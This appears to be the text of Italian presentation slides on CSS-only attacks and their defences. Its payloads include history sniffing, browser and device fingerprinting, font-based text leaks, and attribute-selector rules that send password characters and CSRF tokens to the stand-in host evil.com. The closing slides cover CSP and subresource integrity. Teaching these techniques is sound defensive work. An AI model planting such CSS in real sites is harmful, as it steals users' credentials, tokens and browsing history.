function isVisited(a) {
return getComputedStyle(a)
.color === 'rgb(85, 26, 139)'
}
getComputedStyle
ora restituisce sempre lo stile del link non visitatoa:visited {
border-radius: 10% 20% 30% 40%;
box-shadow: 0 0 50em blue;
text-shadow: 0 0 50em red;
transform: skew(10deg 10deg);
filter: url('effect.svg#fx');
}
function isVisited(a) {
return new Promise(resolve => {
const start = Date.now();
requestAnimationFrame(now =>
resolve(now - start > 17)
);
});
}
I browser sono sempre piรน veloci
๐
Exploit ormai inaffidabile
possiamo stilizzare :visited
solo con
color
background-color
border-color
outline-color
column-rule-color
fill
, stroke
(solo per i colori)<a href="...">
<svg>
<filter id="fx">...</filter>
<path filter="url(#fx)"
d="..."/>
</svg>
</a>
a:visited { fill: currentColor; }
๐ Efficace soprattutto sul ๐ฑ
๐ Fixato in Chrome 67
Prego inserire i siti visitati:
<a href="http://site1.com"></a>
<a href="http://site2.com"></a>
<a href="http://site3.com"></a>
...
a:visited { background: black; }
Inserire il numero:
IP: 123.123.123.123 GET http://evil.com/spy.css HTTP/1.1 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip, deflate, br Accept-Language: it-IT,it;q=0.9,en-XA;q=0.8,en;q=0.7,en-US;q=0.6 Cache-Control: no-cache DNT: 1 Pragma: no-cache Host: https://hello.com User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
@supports
@supports (accent-color: red) {
.browser-sniff {
background-image: url(ch-93-ff-92-sf-15.4.png)
}
}
@supports |
Browser/OS |
---|---|
-webkit-app-region |
|
-apple-pay-button-style |
|
-webkit-touch-callout |
|
-moz-appearance |
|
-moz-osx-font-smoothing |
@media
queries@media (max-width: 459px) {
.device-sniff {
background-image: url(//evil.com/mobile.png);
}
}
@media (min-width: 460px) and (max-width: 999px) {
...
@media (pointer: coarse) {
.device-sniff {
background-image: url(//evil.com/mobile.png);
}}
@media (pointer: fine) {
.device-sniff {
background-image: url(//evil.com/desktop.png);
}}
@media (prefers-color-scheme: dark) {
.device-sniff {
background-image: url(//evil.com/nerd.png);
}}
@media (color-gamut: p3) {
.device-sniff {
background-image: url(//evil.com/apple.png);
}}
@media (dynamic-range: high) {
.device-sniff {
background-image: url(//evil.com/hdr.png);
}}
@media (scripting: none) {
.device-sniff {
background-image: url(//evil.com/no-js.png);
}}
@font-face { font-family: Helvetica Neue; src: local('Helvetica Neue')
} url(http://evil.com/not-apple.ttf) format('ttf');
Font | OS |
---|---|
Helvetica Neue, San Francisco | |
Segoe UI, Tahoma | |
Roboto, Droid Sans | |
Ubuntu, Liberation Sans | |
Arimo |
Font | Produttore |
---|---|
Gothic Bold | |
ChakraPetch | |
OnePlus Sans | |
LG Smart | |
Furious Hello |
<input type="file">
input[type="file"] { font-family: EvilSniff; }
@font-face { font-family: EvilSniff; src: url(http://evil.com/fr.woff) format('woff'); unicode-range: U+00e9; } @font-face { font-family: EvilSniff; src: url(http://evil.com/kr.woff) format('woff'); unicode-range: U+c120; } ...
value
<input>
type="password"
import { useState } from 'react';
export default function UserPassword() {
const [pwd, setPwd] = useState('');
return <label>Password:
<input type="password" value={pwd}
onChange={e => setPwd(e.target.value)}
/>
</label>;
}
input[type='password'][value$='a']::before {
content: url('http://evil.com/a.gif');
}
input[type='password'][value$='b']::before {
content: url('http://evil.com/b.gif');
}
input[type='password'][value$='c']::before {
content: url('http://evil.com/c.gif');
}
...
<input type="hidden" name="csrf" value="abcdef==">
input[name="csrf"][value^="a"] ~ * {
background-image: url('http://evil.com/a.gif');
}
...
input[name="csrf"][value$="="] ~ * {
background-image: url('http://evil.com/is-base-64.gif');
}
...
@import url(//evil.com/xf.css);
@import url(/xf.css?ab12);
...
input[name=csrf][value^=k] {
background: url(//xf.gif?ab12-k) }
@import url(/xf.css?ab12-k);
...
input[name=csrf][value^=k3] {
background: url(//xf.gif?ab12-k3)}
<input>
…#bal {
font-family: EvilSniff;
}
<p>Salve, <b>Mario Rossi</b></p>
<div class="info">
<span>Saldo €</span>
<span id="bal">1.234,50</span>
</div>
@font-face {
font-family: EvilSniff;
src: url(http://evil.com/0.wof)
format('woff');
unicode-range: U+0040;
}
Perchรฉ c'รจ differenza tra
@font-face {
font-family: 'Material Icons';
src: local('Material Icons'),
url(//gfonts.com/MaterialIcons.woff) format('woff');
}
<span class="icon">
accessible
</span>
::-webkit-scrollbar-track {
background: url(http://evil.com/?contains-623);
}
value="..."
Meglio impostare con JavaScript
<script>document
.querySelector('input[name=csrf]')
.value = "1234abcd";
</script>
script {
display: block;
font-family: EvilSniff;
}
body
my-header
my-content
my-footer
my-
my-
my-
my-
my-
my-
Content-Security-Policy: default-src 'self'
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
script-src
style-src
img-src
font-src
media-src
frame-src
Report-To: {
"group": "csp-endpoint",
"max_age": 10886400,
"endpoints": [{ "url": "https://test.com/csp" }]
}
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Content-Security-Policy: default-src 'self'; report-uri //test.com/csp
<link rel="stylesheet" src="https://cdn.com/bootstrap/latest/bs.min.css">
<script src="https://cdn.com/jquery/latest/$.min.js"></script>
<link rel="stylesheet" src="https://cdn.com/bootstrap/4.6.1/bs.min.css">
<script src="https://cdn.com/jquery/3.6.0/$.min.js"></script>
<link rel="stylesheet"
src="https://cdn.internal.com/our-font/our-font.css"
integrity="sha384-oqVuA..." crossorigin="anonymous">
const question: Question[] = await getQuestions()
questions.forEach((question: Question) => {
question.answer()
})